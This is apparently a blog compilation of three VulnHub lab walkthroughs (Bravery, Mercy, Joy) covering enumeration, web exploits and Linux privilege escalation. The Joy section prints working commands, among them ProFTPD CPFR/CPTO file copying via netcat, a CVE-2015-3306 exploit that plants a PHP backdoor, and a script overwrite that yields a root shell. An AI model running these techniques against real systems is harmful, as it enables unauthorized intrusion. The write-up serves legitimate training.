Digitalworld Bravery VulnHub WalkthroughNote: this post was originally posted on another blog I had in June 2020, and I worked through this VulnHub machine to fix my enumeration and note-taking abilities after failing the OSCP exam the second time. Digitalworld.local Bravery https://www.vulnhub.com/entry/digitalworldlocal-bravery,281/ This box was basically all dependent on enumeration. There’s a lot to look at and go through, but you have to keep going and searching. 95% of the time is spent getting the initial shell. I really liked this box because I got to focus on enumeration and note-taking. Keeping a cool head, taking good notes about what was found and tried, and pushing forward was key. It isn’t a straight shot to a shell, and there’s a lot of content to go through. Flow
EnumerationNmap – TCP Ports
Nmap – UDP Top 1000 Ports
I started UDP for 1000+ ports, but I ended up rebooting and forgot to restart it. Luckily, I didn’t need it. ServicesA lot is going on here. Obviously, web servers stand out, but also SMB shares and NFS shares. Additionally, perhaps I’ll need to try a domain transfer to get subdomains? So, let’s dig in. Port 80, port 8080, SMB, and NFS. Port 80Gobuster
/8 Has Contents
/about Has Contents
Nope! Not going to check that out. /contactus Has Contents
/uploads Has ContentsPossible users found from browsing the directory listings: patrick, qinyi, sara, and qiu. /uploads/files/internal/department/procurement/sara/note.txt is the only file in there.
Port 8080/robots.txt
/cgi-bin/404 URL. /qwertyuiop.html![]() I viewed the source, looked at the image details, but didn’t find anything. So stored “qwertyuiop” as a possible password. /private403 URL. /publicIt appears to be a stubbed website. The unique thing is a mail.php that prompts for download, so there’s nothing executing PHP on the 8080 port. Gobuster
Normal stuff. /public/aboutPrompts to download this file with this content.
MySQLCan’t connect to the machine, likely only allowing localhost.
SMB
Unfortunately, I couldn’t access those shares without a login. NFS
![]() Great! I got new files; now time to explore them.
So, I have a username “david” and “qwertyuioplkjhgfdsazxcvbnm” is likely a password, too. That’s two clues to it now. I added the username and password to the growing password list. SMB – Revisitedanonymous ShareNow that I have some usernames and passwords, I tried out “david” and “qwertyuioplkjhgfdsazxcvbnm” first, and it worked!
![]()
There’s a ton of files to filter through.
After manually going through the files, most of them are empty, so I decided to use some bash to go through them.
I didn’t see anything useful in the files, but I did add two new users: “kenny” and “genevieve.” secured Share
And the file contents.
So, this is awesome; now I have more web URLs that I didn’t have previously. I tried /developmentsecretpage and /devops on port 80 and 8080, but it was 404 on both. Fortunately, /genevieve was not 404. Port 80 – RevisitedBrowsing the website on /genevieve is a template site but has a link to Cuppa CMS!
cuppaCMSI searched searchsploit and found a possible cuppaCMS exploit at https://www.exploit-db.com/exploits/25971. So I tried it, and it worked!
Configuration.php contents. I added the password to the list.
So, I decided to give the RFI a go.
Boom, Popped A Shell!The RFI worked! I tried to su to david with the password I have, but it didn’t work out. ![]() MySQL – RevisitedHoping there are passwords stored in there to pivot to “david” or “rick.” I connected using the login info from Configuration.php from earlier. ![]() The “cu_users” table has usernames and passwords in it. ![]() I ran the MD5 hashes through CrackStation.net. ![]() I added the extra usernames and passwords to the list. None of the passwords were meaningful to pivot to root or another user. The only MySQL user is the root user I connected with. Normal Linux PrivEscBefore running LinEnum.sh, I decided to search for SUID and SGID files. ![]() Obviously, /usr/bin/cp is not supposed to be SUID, and it stood out like a sore thumb. From probing around before, I saw the maintenance.sh script but didn’t think much of it. It actually took me a little while to come back to it again to find I could use cp to overwrite the file. The script is run by root (likely by a cronjob), is owned by root, and I can’t write to it.
So, I overwrote it and waited… and the root shell popped! ![]() ![]() |
Digitalworld Mercy Vulnhub WalkthroughNote: this post was originally posted on another blog I had in June 2020, and I worked through this VulnHub machine to fix my enumeration and note-taking abilities after failing the OSCP exam the second time. Digitalworld.local Mercy V2 https://www.vulnhub.com/entry/digitalworldlocal-mercy-v2,263/ I liked this box, and it reminds me of OSCP exam machines and good Hack The Box machines. There’s enumeration across multiple services, uses different vulnerability exploitations, and has three different stages of initial access, user account, and root access. I love the 3 stage access option because I’m used to it with Hack The Box, but OSCP machines don’t always have 3 stages. Luckily much of the stuff that is important for me solving this box was in the Nmap output. There would be possible rabbit holes if I missed that. It really makes me think that I missed stuff in the exam that prohibited me from having a full picture to help me solve machines in my OSCP exam. I am glad I am working on purposefully ensuring my enumeration is good, and I take good notes (even the stuff that doesn’t work/work out). This machine would have been more difficult if there were not any robot.txt files. Flow
Initial Enumeration
Top 1000 TCP Ports
Remaining 1000+ TCP Ports
UDP Top 1000 Ports
SMB Enumeration
So, qui is interesting. Keep track of that as a possible user. TCP 8080 – /tryharder/tryharder StepNmap noticed that robots.txt and a path exists. robots.txt
/tryharder/tryharder
It is base64; once decoded, it decoded into the text below.
![]() Port 8080 – NormalAttempting to access the manager/admin interface for Tomcat requires a login. So, we need a login (which should be no surprise). It is Tomcat 7. SMB Share – qiuI am a dummy here again. I get that the “password” is clearly spelled out, but I was used to being tricked for some reason, so I used the entire tryharder decoded file contents word by word to find it.
Which stopped for the password of “password” works. After that, I literally said to myself, “you’re a dummy.” We can log in directly. ![]() Now we should download all the files.
![]() The only important files are config and configprint, with configprint appending configuration files to the config file. It includes multiple configs, but the one we care about is the knockd configuration because ports 80 and 22 are filtered (and likely firewalled off). configprint
config (knockd parts of interest)
Knock Knock
Enumerate Port 22
There is nothing special there, other than knowing it is Ubuntu, so at least we can discern file paths (for later). I tried the qiu login, and it didn’t work for SSH. Port 80Enumerate
Nmap found the robots.txt file and showed the contents. Let’s look at it more. robots.txt
Port 80 – /mercy
I made a mental note of that. It rang a bell later. Port 80 – /nomercyIt is running RIPS 0.53. So what is the first thing I should do when I find a web app with a version I never heard of… well, I do searchsploit. ![]() ![]() There’s an LFI. The LFI also works.
Or to grab it with the garbage removed.
Getting The Tomcat Configuration FilesI wasn’t sure where Ubuntu stored Tomcat files, so I looked it up. I found https://askubuntu.com/questions/135824/what-is-the-tomcat-installation-directory, and I am now looking for these files.
So I grabbed them all and saved them locally, and converted the HTML entities back to ASCII.
With some logins found and the admin/manager was in it. ![]()
Now that we have to Tomcat admin login, time to try to log in with it. Port 8080 – Tomcat Revisited
Logging in works for thisisasuperduperlonguser:heartbreakisinevitable. Now time to get our reverse shell. The common thing to do is to use msfvenom to build a .war file, upload the war in the admin/manager interface, and then browse to the uploaded application, which pops a reverse shell. Generate the reverse shell .war file
Start a netcat listener
Upload the war file![]() Spawn reverse shell![]() Gain Access To The Machine And Pivot To fluffyThe only other creds I have are for fluffy, so su to that user, and look around. ![]() timeclock Script
An interesting script. It ties together with the port 80 /mercy clue. I didn’t look further and honed in on this. Instead, I checked the timestamp on the time file and checked if fluffy’s crontab was doing it. The file was recently updated, and fluffy didn’t have a crontab. So, I assumed it was root or pleadformercy (with elevated perms to do the chown). ![]() So, I worked to get another reverse shell! I tested to see if I could get a reverse shell as with nc.
I pulled up the trusty pentestmoney reverse shell cheat sheet at http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet to get the bash syntax or the other nc one with pipes. The bash one worked!
Getting The root Shell
![]() And root shell popped! ![]() Get The Flags![]() |
Digitalworld Joy VulnHub WalkthroughNote: this post was originally posted on another blog I had in June 2020, and I worked through this VulnHub machine to fix my enumeration and note-taking abilities after failing the OSCP exam the second time. Digitalworld.local Joy https://www.vulnhub.com/entry/digitalworldlocal-joy,298/ This machine would have been much more complicated if not for enumeration. Most of the work was getting the initial shell, and after that, the box fell quickly. I learned that if I find a vulnerability with a public exploit, calm down, take note of it, and keep enumerating because there could be more exploits (more reliable/easy). For example, I wasted a lot more time on dropbear ssh exploit than I should have. Flow
Initial EnumerationNmap – TCP Portsnmap -sC -sV -p- -oA nmap/nmap_tcp 10.88.42.136 # Nmap 7.80 scan initiated Tue Jun 16 07:54:40 2020 as: nmap -sC -sV -p- -oA nmap/nmap_tcp 10.88.42.136 Nmap scan report for 10.88.42.136 Host is up (0.00046s latency). Not shown: 65523 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp ProFTPD 1.2.10 | ftp-anon: Anonymous FTP login allowed (FTP code 230) | drwxrwxr-x 2 ftp ftp 4096 Jan 6 2019 download |_drwxrwxr-x 2 ftp ftp 4096 Jan 10 2019 upload 22/tcp open ssh Dropbear sshd 0.34 (protocol 2.0) 25/tcp open smtp Postfix smtpd |_smtp-commands: JOY.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, | ssl-cert: Subject: commonName=JOY | Subject Alternative Name: DNS:JOY | Not valid before: 2018-12-23T14:29:24 |_Not valid after: 2028-12-20T14:29:24 |_ssl-date: TLS randomness does not represent time 80/tcp open http Apache httpd 2.4.25 | http-ls: Volume / | SIZE TIME FILENAME | - 2016-07-19 20:03 ossec/ |_ |_http-server-header: Apache/2.4.25 (Debian) |_http-title: Index of / 110/tcp open pop3 Dovecot pop3d |_pop3-capabilities: PIPELINING SASL TOP CAPA STLS AUTH-RESP-CODE UIDL RESP-CODES |_ssl-date: TLS randomness does not represent time 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 143/tcp open imap Dovecot imapd |_imap-capabilities: OK LITERAL+ IMAP4rev1 have ENABLE ID more IDLE post-login listed SASL-IR capabilities Pre-login STARTTLS LOGINDISABLEDA0001 LOGIN-REFERRALS |_ssl-date: TLS randomness does not represent time 445/tcp open netbios-ssn Samba smbd 4.5.16-Debian (workgroup: WORKGROUP) 465/tcp open smtp Postfix smtpd |_smtp-commands: JOY.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, | ssl-cert: Subject: commonName=JOY | Subject Alternative Name: DNS:JOY | Not valid before: 2018-12-23T14:29:24 |_Not valid after: 2028-12-20T14:29:24 |_ssl-date: TLS randomness does not represent time 587/tcp open smtp Postfix smtpd |_smtp-commands: JOY.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, | ssl-cert: Subject: commonName=JOY | Subject Alternative Name: DNS:JOY | Not valid before: 2018-12-23T14:29:24 |_Not valid after: 2028-12-20T14:29:24 |_ssl-date: TLS randomness does not represent time 993/tcp open ssl/imaps? |_ssl-date: TLS randomness does not represent time 995/tcp open ssl/pop3s? |_ssl-date: TLS randomness does not represent time MAC Address: 00:0C:29:32:A4:6A (VMware) Service Info: Hosts: The, JOY.localdomain, 127.0.1.1, JOY; OS: Linux; CPE: cpe:/o:linux:linux_kernel Host script results: |_clock-skew: mean: -2h40m00s, deviation: 4h37m07s, median: 0s |_nbstat: NetBIOS name: JOY, NetBIOS user: , NetBIOS MAC: (unknown) | smb-os-discovery: | OS: Windows 6.1 (Samba 4.5.16-Debian) | Computer name: joy | NetBIOS computer name: JOY\x00 | Domain name: \x00 | FQDN: joy |_ System time: 2020-06-16T19:54:56+08:00 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2020-06-16T11:54:56 |_ start_date: N/A Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Tue Jun 16 07:57:41 2020 -- 1 IP address (1 host up) scanned in 181.15 seconds Nmap – UDP PortsSNMP conveniently displays a process listing, netstat info, and installed packages. In addition, it shows TFTP service running on port 36969 that’s serving patrick’s home directory. I truncated the Nmap output a lot to show that. nmap -sU -sC -sV -p 1-1000 -oA nmap/nmap_udp_1-1000 10.88.42.136 # Nmap 7.80 scan initiated Tue Jun 16 08:06:13 2020 as: nmap -sU -sC -sV -p 1-1000 -oA nmap/nmap_udp_1-1000 10.88.42.136 Nmap scan report for 10.88.42.136 Host is up (0.00069s latency). Not shown: 994 closed ports PORT STATE SERVICE VERSION 68/udp open|filtered dhcpc 123/udp open ntp NTP v4 (secondary server) | ntp-info: |_ 137/udp open netbios-ns Samba nmbd netbios-ns (workgroup: WORKGROUP) 138/udp open|filtered netbios-dgm 161/udp open snmp SNMPv1 server; net-snmp SNMPv3 server (public) | snmp-info: | enterprise: net-snmp | engineIDFormat: unknown | engineIDData: d1785e76ec962f5c00000000 | snmpEngineBoots: 29 |_ snmpEngineTime: 44m11s | snmp-interfaces: | lo | IP address: 127.0.0.1 Netmask: 255.0.0.0 | Type: softwareLoopback Speed: 10 Mbps | Traffic stats: 5.31 Kb sent, 5.31 Kb received | Intel Corporation 82545EM Gigabit Ethernet Controller (Copper) | IP address: 10.88.42.136 Netmask: 255.255.255.0 | MAC address: 00:0c:29:32:a4:6a (VMware) | Type: ethernetCsmacd Speed: 1 Gbps |_ Traffic stats: 89.38 Mb sent, 241.11 Mb received | snmp-netstat: | TCP 0.0.0.0:21 0.0.0.0:0 | TCP 0.0.0.0:22 0.0.0.0:0 | TCP 0.0.0.0:25 0.0.0.0:0 | TCP 0.0.0.0:110 0.0.0.0:0 | TCP 0.0.0.0:139 0.0.0.0:0 | TCP 0.0.0.0:143 0.0.0.0:0 | TCP 0.0.0.0:445 0.0.0.0:0 | TCP 0.0.0.0:465 0.0.0.0:0 | TCP 0.0.0.0:587 0.0.0.0:0 | TCP 0.0.0.0:993 0.0.0.0:0 | TCP 0.0.0.0:995 0.0.0.0:0 | TCP 127.0.0.1:631 0.0.0.0:0 | TCP 127.0.0.1:3306 0.0.0.0:0 | UDP 0.0.0.0:68 *:* | UDP 0.0.0.0:123 *:* | UDP 0.0.0.0:137 *:* | UDP 0.0.0.0:138 *:* | UDP 0.0.0.0:161 *:* | UDP 0.0.0.0:631 *:* | UDP 0.0.0.0:1900 *:* | UDP 0.0.0.0:5353 *:* | UDP 0.0.0.0:36969 *:* | UDP 0.0.0.0:42070 *:* | UDP 0.0.0.0:51704 *:* | UDP 10.88.42.136:123 *:* | UDP 10.88.42.136:137 *:* | UDP 10.88.42.136:138 *:* | UDP 10.88.42.255:137 *:* | UDP 10.88.42.255:138 *:* |_ UDP 127.0.0.1:123 *:* | snmp-processes: ... | 754: | Name: in.tftpd | Path: /usr/sbin/in.tftpd | Params: --listen --user tftp --address 0.0.0.0:36969 --secure /home/patrick ... FTP – Anonymous FTPSince anonymous FTP is active and there are files to grab, I decided to grab them all. I’m not sure what the best tool is, but I’ve always used the lftp client to mirror FTP contents. mkdir ftp cd ftp lftp -u anonymous,anonymous -e 'mirror;quit' 10.88.42.136 FTP – FILES. ./download ./upload ./upload/project_yolo ./upload/project_malindo ./upload/project_woranto ./upload/project_flamingo ./upload/project_bravado ./upload/project_luyano ./upload/project_komodo ./upload/project_desperado ./upload/reminder ./upload/project_okacho ./upload/directory ./upload/project_toto ./upload/project_sicko ./upload/project_zoo ./upload/project_vivino ./upload/project_armadillo ./upload/project_polento ./upload/project_indigo ./upload/project_uno ./upload/project_emilio ./upload/project_ronaldinho FTP – upload/directoryMore confirmation that patrick is a user on the system. It also seems like this is /home/patrick (previously mentioned in the process listing via SNMP). Patrick's Directory total 128 drwxr-xr-x 18 patrick patrick 4096 Jun 16 20:10 . drwxr-xr-x 4 root root 4096 Jan 6 2019 .. -rw------- 1 patrick patrick 185 Jan 28 2019 .bash_history -rw-r--r-- 1 patrick patrick 220 Dec 23 2018 .bash_logout -rw-r--r-- 1 patrick patrick 3526 Dec 23 2018 .bashrc drwx------ 7 patrick patrick 4096 Jan 10 2019 .cache drwx------ 10 patrick patrick 4096 Dec 26 2018 .config drwxr-xr-x 2 patrick patrick 4096 Dec 26 2018 Desktop drwxr-xr-x 2 patrick patrick 4096 Dec 26 2018 Documents drwxr-xr-x 3 patrick patrick 4096 Jan 6 2019 Downloads drwx------ 3 patrick patrick 4096 Dec 26 2018 .gnupg -rwxrwxrwx 1 patrick patrick 0 Jan 9 2019 haha -rw-r--r-- 1 patrick patrick 0 Jun 16 19:50 HmjhT4RkfTh7RIMfqMJWMphRts7EwVJL.txt -rw-r--r-- 1 patrick patrick 0 Jun 16 19:45 IBrat9JjUMGHJtVsAUfc0CLW3LEP4M15.txt -rw------- 1 patrick patrick 8532 Jan 28 2019 .ICEauthority drwxr-xr-x 3 patrick patrick 4096 Dec 26 2018 .local drwx------ 5 patrick patrick 4096 Dec 28 2018 .mozilla drwxr-xr-x 2 patrick patrick 4096 Dec 26 2018 Music drwxr-xr-x 2 patrick patrick 4096 Jan 8 2019 .nano -rw-r--r-- 1 patrick patrick 24 Jun 16 19:45 p2pIHflvQpgys7Io9W7E33H4uFmzwHJpPgViBOlLBHDxi0zqJcrZObfDqPBG6GQ5.txt drwxr-xr-x 2 patrick patrick 4096 Dec 26 2018 Pictures -rw-r--r-- 1 patrick patrick 675 Dec 23 2018 .profile drwxr-xr-x 2 patrick patrick 4096 Dec 26 2018 Public -rw-r--r-- 1 patrick patrick 24 Jun 16 20:05 qNdejbhnSVcWpNVgYQvrq52kACwqgDUiyvo8Q5JgTZ1dvHcHOGpzFuEqC387wCWx.txt -rw-r--r-- 1 patrick patrick 24 Jun 16 20:00 QrHTw7iuO4JCToijShVuQMrFcReSv9YV435E3niEYbFmoT50vikNjbsKuqgPGWot.txt d--------- 2 root root 4096 Jan 9 2019 script -rw-r--r-- 1 patrick patrick 24 Jun 16 19:50 sh5lebDMlsOns3I7sF7mnHqj5zbuJv9EMc60nGmmUbJOv6tJrDzSRsvJNeoiB0el.txt -rw-r--r-- 1 patrick patrick 0 Jun 16 20:05 soqjRoS2by1apdqTErDEQTspl2YuWgva.txt drwx------ 2 patrick patrick 4096 Dec 26 2018 .ssh -rw-r--r-- 1 patrick patrick 0 Jan 6 2019 Sun drwxr-xr-x 2 patrick patrick 4096 Dec 26 2018 Templates -rw-r--r-- 1 patrick patrick 0 Jan 6 2019 .txt -rw-r--r-- 1 patrick patrick 0 Jun 16 20:10 U1wNlhsloNt2AHXJZPs9Xi0rIj0gmazP.txt -rw-r--r-- 1 patrick patrick 24 Jun 16 19:55 u42rsGynarnocbP6FwTiFmnwmLLiHcCQTitVqbHnYYX28K4t43oqp3vjXdSQdbeQ.txt -rw-r--r-- 1 patrick patrick 0 Jun 16 20:00 uxXpvjuUYMGKvOEDaCFfUFhTmvcvWcm0.txt -rw-r--r-- 1 patrick patrick 407 Jan 27 2019 version_control drwxr-xr-x 2 patrick patrick 4096 Dec 26 2018 Videos -rw-r--r-- 1 patrick patrick 0 Jun 16 19:55 xXATmw8ZuarOVbYrxznrcKrPJdYRchUI.txt -rw-r--r-- 1 patrick patrick 24 Jun 16 20:10 ZxjEw0BVqBxx4KpJ4oDwRvOUbrRVYh8H50OIZyAE47jdGvuBFbIr25hTqvFg1cbL.txt You should know where the directory can be accessed. Information of this Machine! Linux JOY 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64 GNU/Linux What I Did Before UDP Scan FinishedDropbear SSH Exploit AttemptI wasted too much time getting tunnel vision on trying to exploit dropbear ssh (there’s an old exploit I spent time trying to get to work). It ultimately wasn’t fruitful. There’s an entry in searchsploit for it (exploits/linux/remote/387.c). ProFTPD Exploit AttemptI spent time on a searchsploit provided exploit (exploits/linux/remote/36803.py), but it requires the web directory. I did learn about CPFR and CPTO commands. I should have tried to use them to get patrick’s files. I’ll show it after the TFTP method (likely the intended method). What We Now Know
TFTP – Getting Patrick’s FilesNow we need to grab each of patrick’s files from TFTP using the file list. Be sure to remove “.” and “..” from the list of files. awk '/[0-9] /{print $9}' ftp/upload/directory > patrick_files.txt # remove . and .. from patrick_files.txt mkdir tftp cd tftp for file in `cat ../patrick_files.txt`; do echo -e "get $file\nquit\n"|tftp 10.88.42.136 36969; done for i in *; do echo ">> $i <<" && cat $i; done >> Desktop << >> Documents << >> Downloads << >> haha << >> HmjhT4RkfTh7RIMfqMJWMphRts7EwVJL.txt << >> IBrat9JjUMGHJtVsAUfc0CLW3LEP4M15.txt << >> Music << >> p2pIHflvQpgys7Io9W7E33H4uFmzwHJpPgViBOlLBHDxi0zqJcrZObfDqPBG6GQ5.txt << Patrick is hardworking! >> Pictures << >> Public << >> qNdejbhnSVcWpNVgYQvrq52kACwqgDUiyvo8Q5JgTZ1dvHcHOGpzFuEqC387wCWx.txt << Patrick is hardworking! >> QrHTw7iuO4JCToijShVuQMrFcReSv9YV435E3niEYbFmoT50vikNjbsKuqgPGWot.txt << Patrick is hardworking! >> script << >> sh5lebDMlsOns3I7sF7mnHqj5zbuJv9EMc60nGmmUbJOv6tJrDzSRsvJNeoiB0el.txt << Patrick is hardworking! >> soqjRoS2by1apdqTErDEQTspl2YuWgva.txt << >> Sun << >> Templates << >> U1wNlhsloNt2AHXJZPs9Xi0rIj0gmazP.txt << >> u42rsGynarnocbP6FwTiFmnwmLLiHcCQTitVqbHnYYX28K4t43oqp3vjXdSQdbeQ.txt << Patrick is hardworking! >> uxXpvjuUYMGKvOEDaCFfUFhTmvcvWcm0.txt << >> version_control << Version Control of External-Facing Services: Apache: 2.4.25 Dropbear SSH: 0.34 ProFTPd: 1.3.5 Samba: 4.5.12 We should switch to OpenSSH and upgrade ProFTPd. Note that we have some other configurations in this machine. 1. The webroot is no longer /var/www/html. We have changed it to /var/www/tryingharderisjoy. 2. I am trying to perform some simple bash scripting tutorials. Let me see how it turns out. >> Videos << >> x86_64 << >> xXATmw8ZuarOVbYrxznrcKrPJdYRchUI.txt << >> ZxjEw0BVqBxx4KpJ4oDwRvOUbrRVYh8H50OIZyAE47jdGvuBFbIr25hTqvFg1cbL.txt << Patrick is hardworking! FTP – Getting Patrick’s FilesWe can use the CPFR and CPTO trick to put patrick’s files in the upload directory. Be sure to remove . and .. from the file list, or you could fill up the hard disk (yes, I did it). This takes some guesswork if you don’t know where the FTP directory is, but I guessed/knew it was /home/ftp. for file in `cat patrick_files.txt`; do echo -e "site cpfr /home/patrick/$file\nsite cpto /home/ftp/upload/$file\nquit"|nc 10.88.42.136 21; done cd ftp && lftp -u anonymous,anonymous -e 'mirror;quit' 10.88.42.136; cd - Exploiting ProFTPDWe now know the web directory is /var/www/tryingharderisjoy, which is the last piece of information we needed to try to exploit for proftpd. I tried the exploit in searchsploit, but it didn’t work. So I went looking on the web and found https://github.com/t0kx/exploit-CVE-2015-3306/, which works! [18:10:35]🔥root[ /home/kali/VulnHub/joy ]# python3 exploit.py usage: exploit.py [-h] --host HOST --port PORT --path PATH exploit.py: error: the following arguments are required: --host, --port, --path [18:10:40]🔴->2 root[ /home/kali/VulnHub/joy ]# python3 exploit.py --host 10.88.42.136 --port 21 --path /var/www/tryingharderisjoy [+] CVE-2015-3306 exploit by t0kx [+] Exploiting 10.88.42.136:21 [+] Target exploited, acessing shell at http://10.88.42.136/backdoor.php [+] Running whoami: www-data [+] Done [18:11:30]🔥root[ /home/kali/VulnHub/joy ]# http://10.88.42.136/backdoor.php?cmd=COMMAND_HERE “which nc” returns nothing, so netcat isn’t installed. So, I went back to http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet to see the reverse shell options again. I tried the bash one, and it didn’t work. So I went to CyberChef to url encode the bash reverse shell. I tried the PHP one (since I know PHP is installed), and it did work. I also went to CyberChef to url encode the PHP reverse shell. ![]() Pivot to the Patrick UserLooking around, the ossec directory is there, so I looked inside of it. There’s a suspect file, “patricksecretsofjoy,” and it contains patrick’s password. [email protected]:/var/www/tryingharderisjoy/ossec$ cat patricksecretsofjoy cat patricksecretsofjoy credentials for JOY: patrick:apollo098765 root:howtheheckdoiknowwhattherootpasswordis how would these hack3rs ever find such a page? [email protected]:/var/www/tryingharderisjoy/ossec$ patrick:apollo098765 I tried to ssh in, but that didn’t work. [email protected]:~$ ssh [email protected] Unable to negotiate with 10.88.42.136 port 22: no matching key exchange method found. Their offer: diffie-hellman-group1-sha1 I could, fortunately, su to patrick. ![]() Pivot to RootThere’s a sudo command that uses a custom command. Unfortunately, I couldn’t edit or read the file directly. ![]() But I could replace its contents using the FTP CPFR/CPTO trick from earlier. cd /dev/shm echo -e '#!/bin/sh\nsh\n'>test chmod +x test echo -e "site cpfr /dev/shm/test\nsite cpto /home/patrick/script/test\nquit"|nc 10.88.42.136 21 Then I ran the sudo command and got a root shell. ![]() Flag![]() |